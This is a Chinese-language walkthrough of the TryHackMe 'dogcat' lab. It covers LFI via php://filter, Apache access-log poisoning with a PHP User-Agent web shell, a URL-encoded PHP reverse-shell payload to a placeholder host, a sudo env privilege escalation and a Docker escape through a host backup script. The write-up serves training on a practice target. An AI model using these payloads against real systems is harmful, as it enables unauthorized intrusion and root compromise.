tryhackme-dogcat(狗猫)

描述已经说明了这个靶机的一些思路,LFI -> 提权 -> 突破docker
信息收集
使用nmap进行端口扫描

开放了80和22端口,直接访问80端口

这是一个文件包含,通过尝试,发现传参内容中必须含有cat和dog,然后会将传参的最后加入.php,这里我使用%00节点也没有利用成功。

尝试目录扫描
gobuster dir -u http://10.10.67.136 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,html,php,js,zip -t 66

通过扫描结果发现,有一个flag.php文件,另外还有cats和dogs目录,这里就有了一个思路,使用文件包含然后路径包含cats或者dogs目录,然后使用../返回上一级,然后包含flag.php获得flag
使用php://filter/read协议进行读取base64编码
http://10.10.67.136/?view=php://filter/read=convert.base64-encode/resource=/var/www/html/cats/../flag
注意:**由于会在我们的传参最后加入.php,最后的文件名直接flag即可

使用base64命令解密,得到第一个flag

接着我们继续包含index.php文件的内容,查看源代码
http://10.10.67.136/?view=php://filter/read=convert.base64-encode/resource=/var/www/html/cats/../index
解码解码后得到如下内容

代码如下:
<!DOCTYPE HTML>
<html>
<head>
<title>dogcat</title>
<link rel="stylesheet" type="text/css" href="/style.css">
</head>
<body>
<h1>dogcat</h1>
<i>a gallery of various dogs or cats</i>
<div>
<h2>What would you like to see?</h2>
<a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>
<?php
function containsStr($str, $substr) {
return strpos($str, $substr) !== false;
}
$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
if(isset($_GET['view'])) {
if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
echo 'Here you go!';
include $_GET['view'] . $ext;
} else {
echo 'Sorry, only dogs or cats are allowed.';
}
}
?>
</div>
</body>
</html>
简单分析一下,判断ext参数有没有值,如果没有设置默认的后缀名为.php,然后检测我们输入的值有没有dog和cat,最后包含文件
所以我们只需要传入ext参数,不设置任何值就可以任意文件包含,尝试包含/etc/passwd
curl "http://10.10.67.136/?view=/var/www/html/cats/../../../../../etc/passwd&ext="

初始访问权限
成功执行,现在我们需要获取shell,就用到了apache2的日志文件
apache2的日志文件位置为/var/log/apache2/access.logaccess.log文件会记录访问者的IP、访问时间、请求方法(GET)、请求地址、请求状态码、User-Agent

值得注意的是,User-Agent很长,这里我们可以使用User-Agent写入php代码,使用文件包含包含该文件反弹shell,步骤如下
- 构造
payload包含access.log文件,然后修改User-Agent
GET /?view=/var/www/html/cats/../../../../var/log/apache2/access.log&ext=&cmd=whoami HTTP/1.1
Host: 10.10.62.206
User-Agent: <?php system($_GET['cmd']);?>

- 需要再次进行访问,因为第一次只是将我们的访问记录下来,再次利用会看到
www-data用户权限,如果想要回显清晰,可以使用ls类似的命令

成功执行的命令,这时我们需要反弹shell,其实可以直接使用包含页面写入一句话木马,使用菜刀、蚁剑这种工具连接,但是这里我们使用脚本语言,例如php、python或者perl进行反弹shell
将php反弹shell代码加入payload
php -r '$sock=fsockopen("targetIP","prot");exec("/bin/bash -i 0>&3 2>&3 1>&3");
加入后需要使用url编码,不然会报错

编码后的payload如下,注意将targetIP和port改为自己的IP和端口
?view=/var/www/html/cats/../../../../var/log/apache2/access.log&ext=&cmd=php+-r+'$sock%3dfsockopen("targetIP","prot")%3bexec("/bin/bash+-i+0>%263+2>%263+1>%263")%3b'
然后再在本地监听nc -lvp 4444,然后使用burpsuite发送数据包获得shell

成功获得shell,上述中我使用了find查找flag文件,因为并没有在/home目录发现用户
查看/var/www/flag2_QMW7JvaY2LvK.txt文件得到flag2

权限提升
使用sudo -l发现可以执行/usr/bin/env,在GTFOBins找到直接提权获得root权限获取flag3

docker逃逸
这是我第一次接触逃逸,需要了解docker,是因为docker容器可以挂在宿主机器目录的文件,我们在/opt/backups发现文件backup.sh,可能是宿主机在进行备份,在里面加入反弹shell代码,在本地监听,等待一分钟,获取宿主机root权限,flag直接在当前目录


浙公网安备 33010602011771号